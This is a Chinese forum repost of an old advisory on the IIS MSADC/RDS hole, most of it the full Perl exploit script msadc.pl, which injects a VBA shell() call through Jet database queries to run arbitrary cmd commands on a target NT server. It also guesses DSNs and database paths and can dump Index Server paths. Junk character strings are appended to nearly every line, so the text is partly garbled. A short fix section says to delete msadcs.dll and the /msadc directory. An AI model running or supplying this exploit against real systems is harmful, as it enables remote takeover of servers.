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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) EVmE{XlD;  
,v1-y ?kB  
涉及程序: _jb"@TY  
Microsoft NT server J2#=`|t"  
13{"sY:PT#  
描述: {&(bKQ  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ]O&A:Us  
Ip0@Q}^  
详细: 'E8dkVlI  
如果你没有时间读详细内容的话,就删除: s?K4::@Fv  
c:\Program Files\Common Files\System\Msadc\msadcs.dll .Lu=16  
有关的安全问题就没有了。 5p{tt;9[  
s: q15"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 m9>nv rQ  
1J *wW# e  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;/{Q4X{  
关于利用ODBC远程漏洞的描述,请参看: j'0*|f^z  
<F.Ol/'h  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  Ez1*}  
;1OTK6  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Z*e7W O.  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |-aj$u%~  
:~)Q]G1Nj  
这里不再论述。 s*#|EdD6@  
TAC\2*bWje  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: K6oX nz}  
zB]T5]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Tx_(^K  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! >a-+7{};  
K ;xW/7?  
80]TKf>  
#将下面这段保存为txt文件,然后: "perl -x 文件名" $-AvH( @  
YV940A-n  
#!perl _0j}(Q>|H#  
# ft6^s(t  
# MSADC/RDS 'usage' (aka exploit) script XP;&iZJ  
# k)5_1y  
# by rain.forest.puppy C](z#c~c  
# RF4$  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me pdi=6<?bd  
# beta test and find errors! %]chL.s  
jDlA<1  
use Socket; use Getopt::Std; T!l mO?Q  
getopts("e:vd:h:XR", \%args); (TEo_BW|+  
y#S1c)vU  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0LWdJ($?  
7fTxGm  
if (!defined $args{h} && !defined $args{R}) { `OKo=e~,  
print qq~ g!1I21M1~  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 'FShNY5  
-h <host> = host you want to scan (ip or domain) bK3B3r#$  
-d <seconds> = delay between calls, default 1 second O.*jR`l  
-X = dump Index Server path table, if available b/}'Vf[  
-v = verbose +w "XNl  
-e = external dictionary file for step 5 `[WyH O|8  
"_ LkZBW.  
Or a -R will resume a command session DVObrL)znL  
7dSh3f!  
~; exit;} fd4;mc1T  
MWM +hk1fs  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; U? 8i'5)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} mT96 ]V \  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ;K3d' U  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); xM&EL>m>L  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} G9\EZ\x!  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6 |QTS|!  
:I2H&,JT  
if (!defined $args{R}){ $ret = &has_msadc; YVoao#!  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} t-_#Q bzE{  
sNL+F  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" /x$}D=(CZ  
. "cmd /c "; ZQ|5W6c  
$in=<STDIN>; chomp $in; nt7|f,_J  
$command="cmd /c " . $in ; u[)_^kIE(n  
O{~KR/  
if (defined $args{R}) {&load; exit;} >wA+[81[  
+a-D#^ 2;  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; _0K.Fk*(!  
&try_btcustmr; }@wVW))6$  
mIvnz{_d  
print "\nStep 2: Trying to make our own DSN..."; a_Jb> }  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [~COYjp  
>zQNHSi  
print "\nStep 3: Trying known DSNs..."; Y.7}  
&known_dsn; [O\9 9>  
sJOV2#r  
print "\nStep 4: Trying known .mdbs..."; 0 <g{ V  
&known_mdb; E30Ln_^o  
0Q7MM6  
if (defined $args{e}){ *#zS^b n  
print "\nStep 5: Trying dictionary of DSN names..."; JRXRi*@  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ul$,q05nb  
Y3k[~A7X  
print "Sorry Charley...maybe next time?\n"; L"^OdpOs  
exit; s"WBw'_<<  
b:1 L@8s;  
############################################################################## +Juh:1H  
NEw $q4  
sub sendraw { # ripped and modded from whisker g rspt}  
sleep($delay); # it's a DoS on the server! At least on mine... g8RPHjvZ  
my ($pstr)=@_; Kk=LXmL2  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <[ZI.+_Wt  
die("Socket problems\n"); Cc Y7$D  
if(connect(S,pack "SnA4x8",2,80,$target)){ *}w+ 68eO  
select(S); $|=1; A @2Bs 5F  
print $pstr; my @in=<S>; gqfDa cDJL  
select(STDOUT); close(S); wx*1*KZ  
return @in; |4fF T `  
} else { die("Can't connect...\n"); }} {jW%P="z$"  
&?y7I Pp  
############################################################################## g5Hr7K m  
xzr<k Sp  
sub make_header { # make the HTTP request H:Y&OZ  
my $msadc=<<EOT Xh}&uZ`A  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 'mE^5K  
User-Agent: ACTIVEDATA 0e16Ow6\!1  
Host: $ip pawl|Z'Ez  
Content-Length: $clen U*\17YU6h  
Connection: Keep-Alive `eR 7H>I  
 Gq1)1  
ADCClientVersion:01.06 64umul  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ^_W40/c3  
MA* :<l  
--!ADM!ROX!YOUR!WORLD! QIK 9  
Content-Type: application/x-varg  z)w-N  
Content-Length: $reqlen E oe}l   
2w?hgNz  
EOT I 8z G~L%"  
; $msadc=~s/\n/\r\n/g; S-c ^eLzQ  
return $msadc;} R5(T([w'  
q.W>4 k  
############################################################################## /pykW_`/-  
-c+]Wm"\  
sub make_req { # make the RDS request 24B<[lSK  
my ($switch, $p1, $p2)=@_; :m ZYS4L~  
my $req=""; my $t1, $t2, $query, $dsn; v* ~3Z1  
qINTCm j  
if ($switch==1){ # this is the btcustmr.mdb query JvL{| KtyU  
$query="Select * from Customers where City=" . make_shell(); zK;XF N#U^  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . K0Tg|9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} tJU-<{8  
!Zjq9{t\"  
elsif ($switch==2){ # this is general make table query n>FY?  
$query="create table AZZ (B int, C varchar(10))"; 7lA:)a_!]  
$dsn="$p1";} {/ 2E*|W~I  
r*XLV{+4  
elsif ($switch==3){ # this is general exploit table query )(TAT<  
$query="select * from AZZ where C=" . make_shell(); N+g@8Q2s;5  
$dsn="$p1";} 75NRCXh.  
+B"0{>n}F  
elsif ($switch==4){ # attempt to hork file info from index server @~:8ye  
$query="select path from scope()"; Z^ar.boc  
$dsn="Provider=MSIDXS;";} Vw~\H Gs/~  
wT_h!W  
elsif ($switch==5){ # bad query [*4fwk^  
$query="select"; lFq{O;q7}  
$dsn="$p1";} XKU=oI0\j  
NNkP\oh\  
$t1= make_unicode($query); 0.;}]v  
$t2= make_unicode($dsn); ]A+o>#n}x  
$req = "\x02\x00\x03\x00"; Es4qPB`g.  
$req.= "\x08\x00" . pack ("S1", length($t1)); lpm JLH.F  
$req.= "\x00\x00" . $t1 ; ] d?x$>  
$req.= "\x08\x00" . pack ("S1", length($t2)); 55DE\<r  
$req.= "\x00\x00" . $t2 ; yVJ%+d:6  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; zT9JBMNE:  
return $req;} j*R,m1e8  
"484 n/D  
############################################################################## [V}, tO|  
iK;opA"  
sub make_shell { # this makes the shell() statement \RG!@$i  
return "'|shell(\"$command\")|'";}  9A$m$  
KZ:hKY@q  
############################################################################## h<l1U'Bn7  
%,q. ),F  
sub make_unicode { # quick little function to convert to unicode anN#5jt  
my ($in)=@_; my $out; '%;\YD9  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } #x@eDnb_  
return $out;} =Lp7{09u  
3$/ 4wH^  
############################################################################## q3w1GD  
+OHGn;C  
sub rdo_success { # checks for RDO return success (this is kludge) U1R4x!ym4  
my (@in) = @_; my $base=content_start(@in); E6MA?Ax&=  
if($in[$base]=~/multipart\/mixed/){ TnH\O$  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} SNpi=K!yn  
return 0;} +j/~Af p5f  
$)Bg JDr  
############################################################################## \_BkY%a  
Ym8}ZW-  
sub make_dsn { # this makes a DSN for us m`A% p  
my @drives=("c","d","e","f"); &#w=7L3AW  
print "\nMaking DSN: "; :k=mzO<&  
foreach $drive (@drives) { @{HrJ/4%:&  
print "$drive: "; aUopNmN  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . vqdX^m^PY  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" I PCGt{B~  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); \XzM^K3  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; =H`Q~ Xx  
return 0 if $2 eq "404"; # not found/doesn't exist _lxco=qd=%  
if($2 eq "200") { j?i#L}.I  
foreach $line (@results) { S?0$?w?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} l.=p8-/$'7  
} return 0;} 6g:|*w  
WcUJhi^\C  
############################################################################## !36]ud&  
\Y|*Nee}XP  
sub verify_exists { P:xT0gtt  
my ($page)=@_; hpbf&S4  
my @results=sendraw("GET $page HTTP/1.0\n\n"); PAF8W lg  
return $results[0];} 9$*s8}|  
7<\C ?`q"  
############################################################################## C(?blv-vM0  
V-yUJ#f8[  
sub try_btcustmr { tT%/r,  
my @drives=("c","d","e","f"); +0$/y]k  
my @dirs=("winnt","winnt35","winnt351","win","windows"); r%]Qlt ~K  
Jh/ E@}'  
foreach $dir (@dirs) { X` YwP/D  
print "$dir -> "; # fun status so you can see progress ]+ Ixi o  
foreach $drive (@drives) { 6<'K~1do:  
print "$drive: "; # ditto &2.u%[gO[q  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; (R}ii}&  
$reqlenlen=length( "$reqlen" ); 5TKJWO.  
$clen= 206 + $reqlenlen + $reqlen; OjE` 1h\  
w Iv o"|%  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Vm1-C<V9  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} A<MtKb  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `)$_YZq|SR  
VR? ^HA9  
############################################################################## 19e8  
#s5N[uK^m  
sub odbc_error { rRFAD{5)  
my (@in)=@_; my $base; olux6RP[B  
my $base = content_start(@in); }?8uH/+ZA  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Fj p.T;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; JCniN";r[  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9WG{p[  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vIGw6BJI  
return $in[$base+4].$in[$base+5].$in[$base+6];} (8a#\Y[b  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; es:2M |#O  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 6QQfQ,  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} qCQ./"8  
u{H?4|'(  
############################################################################## !  NV#U  
*?p|F&J  
sub verbose { z_|oCT!6  
my ($in)=@_; 5z$,6T  
return if !$verbose; i'/m4 !>h  
print STDOUT "\n$in\n";} 2h=%K/hhY  
y(jg#7)  
############################################################################## ^ZRYRA  
W6c]-pc  
sub save { ?9+@+q  
my ($p1, $p2, $p3, $p4)=@_; ^C)n$L>C0  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; '-$XX%TOAc  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Rqip kx  
close OUT;} tfO#vw,@  
YPDf Y<?v  
############################################################################## j{++6<tr  
?X$, fQ#F|  
sub load { giY80!GX  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3INI?y}t   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); NPnHH:\;  
@p=<IN>; close(IN); %:v`EjRD0  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); hf6f.Z  
$target= inet_aton($ip) || die("inet_aton problems"); )$%Z:  
print "Resuming to $ip ..."; Y$>-%KcKeI  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; $rB3m~c|  
if($p[1]==1) { )eeN1G`rDE  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 3 fj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; p/6zEZ*  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); p zw8T  
if (rdo_success(@results)){print "Success!\n";} c7uG9  
else { print "failed\n"; verbose(odbc_error(@results));}} ~"x5U{K48S  
elsif ($p[1]==3){ "8)z=n  
if(run_query("$p[3]")){ f>jwN@(  
print "Success!\n";} else { print "failed\n"; }} +|cI:|H>  
elsif ($p[1]==4){ -Yi,_#3{  
if(run_query($drvst . "$p[3]")){ vsB*rP=  
print "Success!\n"; } else { print "failed\n"; }} ;i uQ?MR3  
exit;} . RVVWqW  
n 1b(\PA  
############################################################################## Z3KO90O!8  
='?:z2lJ  
sub create_table { :fcM:w&  
my ($in)=@_; Q[n\R@  
$reqlen=length( make_req(2,$in,"") ) - 28; 3Mjj' 5KH!  
$reqlenlen=length( "$reqlen" ); ~`8hwR1&z  
$clen= 206 + $reqlenlen + $reqlen; yc;3Id5?>  
my @results=sendraw(make_header() . make_req(2,$in,"")); B:TR2G9UT  
return 1 if rdo_success(@results); e0,'+;*=g  
my $temp= odbc_error(@results); verbose($temp); h+~P"i}&\  
return 1 if $temp=~/Table 'AZZ' already exists/; K-vWa2  
return 0;} gbBy/_b  
yY{kG2b,  
############################################################################## E8\XNG)V4  
q-$`k  
sub known_dsn { RSfM]w}Hq#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go e'*HS7g  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `1` f*d v  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", AIl4]F5I  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); rM}0%J'  
 }alj[)  
foreach $dSn (@dsns) { >>Ar$  
print "."; [onqNp  
next if (!is_access("DSN=$dSn")); | $^;wP  
if(create_table("DSN=$dSn")){ =v~1qWX  
print "$dSn successful\n"; w?vVVA  
if(run_query("DSN=$dSn")){ Xt/Ksw"wn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )+y G+  
print "Something's borked. Use verbose next time\n";}}} print "\n";} %y[1H5)3<  
2RtHg_d_l  
############################################################################## !eR3@%4  
,<,:8B  
sub is_access { k_|^kdWJ  
my ($in)=@_; /TQ}} YVw  
$reqlen=length( make_req(5,$in,"") ) - 28; 5AeQQU  
$reqlenlen=length( "$reqlen" ); [dX`K`k  
$clen= 206 + $reqlenlen + $reqlen; Z,7R;,qX  
my @results=sendraw(make_header() . make_req(5,$in,"")); 4EP<tV  
my $temp= odbc_error(@results); \u OdALZ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ^)yTBn,  
return 0;} U]~^ZR  
we7c`1E  
############################################################################## T$4P_*  
9%)=`W  
sub run_query { Btt]R  
my ($in)=@_; / jTT5  
$reqlen=length( make_req(3,$in,"") ) - 28; |aToUi.Q%  
$reqlenlen=length( "$reqlen" ); uwIc963  
$clen= 206 + $reqlenlen + $reqlen; Z{NC9  
my @results=sendraw(make_header() . make_req(3,$in,"")); KLQTKMNv  
return 1 if rdo_success(@results); +V862R4,o  
my $temp= odbc_error(@results); verbose($temp); 9Mm!%Hu  
return 0;} N[|Nxm0z/C  
]<uQ.~  
############################################################################## hPhZUL%  
qa >Ay|92e  
sub known_mdb { [&S}dQ"  
my @drives=("c","d","e","f","g"); Oeya%C5'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \a^,sV  
my $dir, $drive, $mdb; th5g\h%j*  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Wo$%9!W  
8euZTfK9e  
# this is sparse, because I don't know of many cTZ.}eLh  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ,38Eq`5&W  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Tsb{25`+  
"\\system32\\certmdb.mdb", 'fwU]Hm  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &sVvWNO#2  
VzS&`d.h  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",  @gGRm  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 6~meM@  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", /nx'Z0&+X  
"\\cfusion\\cfapps\\security\\realm_.mdb", ^,Ydr~|T  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", <oMUQ*OtV  
"\\cfusion\\database\\cfexamples.mdb", }1 vT)  
"\\cfusion\\database\\cfsnippets.mdb", _1Z=q.sC  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lt'I,Xt  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Eu<1Bse;  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Mq%,lJA\  
"\\cfusion\\database\\smpolicy.mdb", 7YWNd^FI V  
"\\cfusion\\database\cypress.mdb", HHk)ZfWRo  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 2i#Sn'1  
"\\website\\cgi-win\\dbsample.mdb", (kBP(2V  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ?|;yVew  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" o6kNx>tc)  
); #these are just hmbj*8  
foreach $drive (@drives) { AF\T\mtvRm  
foreach $dir (@dirs){ k5d\ w@G"~  
foreach $mdb (@sysmdbs) { &.i^dO^}  
print "."; IputF<p  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ v]:=K-1n  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; w[Gh+L30=5  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 72oWhX=M%  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; s0UFym 8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5m$2Ku  
i@"e,7mSG  
foreach $drive (@drives) { <pLT'Y=  
foreach $mdb (@mdbs) { gW(gJ; L,%  
print "."; }peBR80tQ  
if(create_table($drv . $drive . $dir . $mdb)){ [Bb utGvj  
print "\n" . $drive . $dir . $mdb . " successful\n"; 1MkI0OZE  
if(run_query($drv . $drive . $dir . $mdb)){ XhU@W}}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; T".]m7!  
} else { print "Something's borked. Use verbose next time\n"; }}}} <g8K})P  
} (AY9oei>  
"L"150Ih  
############################################################################## =H7xD"'%R  
`rY2up#%  
sub hork_idx { )n7l'}o?+  
print "\nAttempting to dump Index Server tables...\n"; )YW<" $s  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 79J-)e9  
$reqlen=length( make_req(4,"","") ) - 28; 2+8#H.  
$reqlenlen=length( "$reqlen" ); y9Y1PH7G  
$clen= 206 + $reqlenlen + $reqlen; ]bCq=6ZKR  
my @results=sendraw2(make_header() . make_req(4,"","")); v"u^M-_  
if (rdo_success(@results)){ ][PzgzG  
my $max=@results; my $c; my %d; ~o3Hdd_#}N  
for($c=19; $c<$max; $c++){ [jx0-3s:X  
$results[$c]=~s/\x00//g; }b3/b  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 1-SVCk -  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; A!W0S  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; d?idTcgs  
$d{"$1$2"}="";} m"tOe?  
foreach $c (keys %d){ print "$c\n"; } zQy"m-Q  
} else {print "Index server doesn't seem to be installed.\n"; }} ye 6H*K  
YL^=t^ !4  
############################################################################## -!qu"A:  
w6|9|f/  
sub dsn_dict { RH)EB<PV  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); s3s4OAY  
while(<IN>){ hi =XYC,  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; > Vb@[  
next if (!is_access("DSN=$dSn")); dHnR_.  
if(create_table("DSN=$dSn")){ 6" T['6:j  
print "$dSn successful\n"; k ^'f[|}  
if(run_query("DSN=$dSn")){ M s9E@E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qgt[~i*  
print "Something's borked. Use verbose next time\n";}}} 3{Nbp  
print "\n"; close(IN);} >r5P3G1  
!%mAh81{&/  
############################################################################## $Byj}^;1  
iSRpfU  
sub sendraw2 { # ripped and modded from whisker qKS;x@  
sleep($delay); # it's a DoS on the server! At least on mine... C z#Z<:  
my ($pstr)=@_; T4e\0.If  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <c[U#KrvJ  
die("Socket problems\n"); wHjLd$ +o  
if(connect(S,pack "SnA4x8",2,80,$target)){ FwKj+f"  
print "Connected. Getting data"; vZ7gS  
open(OUT,">raw.out"); my @in; FaTa(3$%  
select(S); $|=1; print $pstr; #PvB/3  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Q3W#`6jpF  
close(OUT); select(STDOUT); close(S); return @in; AZ|yX  
} else { die("Can't connect...\n"); }} rf+:=|/_3  
RNVbcd  
############################################################################## ` D7C?M#j]  
w^k;D,h  
sub content_start { # this will take in the server headers }]1BO  
my (@in)=@_; my $c; 8cx=#Me  
for ($c=1;$c<500;$c++) { Fh7'[>onw  
if($in[$c] =~/^\x0d\x0a/){ }S-DB#6  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } R$kpiqK  
else { return $c+1; }}} =tTqN+4  
return -1;} # it should never get here actually 2],_^XBvB  
p4>$z& _  
############################################################################## #h!*dj"  
l*b)st_p%  
sub funky { PQW(EeQ  
my (@in)=@_; my $error=odbc_error(@in); Gnm4gF!BI  
if($error=~/ADO could not find the specified provider/){ iL{M+Ic  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ChryJRuwv5  
exit;} jdeV|H} u  
if($error=~/A Handler is required/){ n@C~ev@%S  
print "\nServer has custom handler filters (they most likely are patched)\n"; u]^N&2UW  
exit;} {)f~#37  
if($error=~/specified Handler has denied Access/){ a\uie$"cr]  
print "\nServer has custom handler filters (they most likely are patched)\n"; iyZZ}M  
exit;}} C.:=lo B  
y@bcYOh3  
############################################################################## EY`H}S!xy  
>C WKH~  
sub has_msadc { ER2GjZa\z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); jkAAqRR  
my $base=content_start(@results); f"#m=_Xm  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); F-(dRSDNM  
return 0;} jcCoan  
R`Aj|C z  
######################## fqz28aHh  
\ A1uhHP!  
*x~xWg9^  
解决方案: Y/TlE?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll OkAK  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 |as!Ui/J/  
.Hhhi  
拿出来充数 哈哈
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